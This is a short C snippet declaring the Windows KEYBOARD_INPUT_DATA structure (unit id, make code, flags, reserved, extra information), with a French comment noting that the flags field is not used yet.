typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;// Pour l'instant je ne l'utilise pas!!!
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;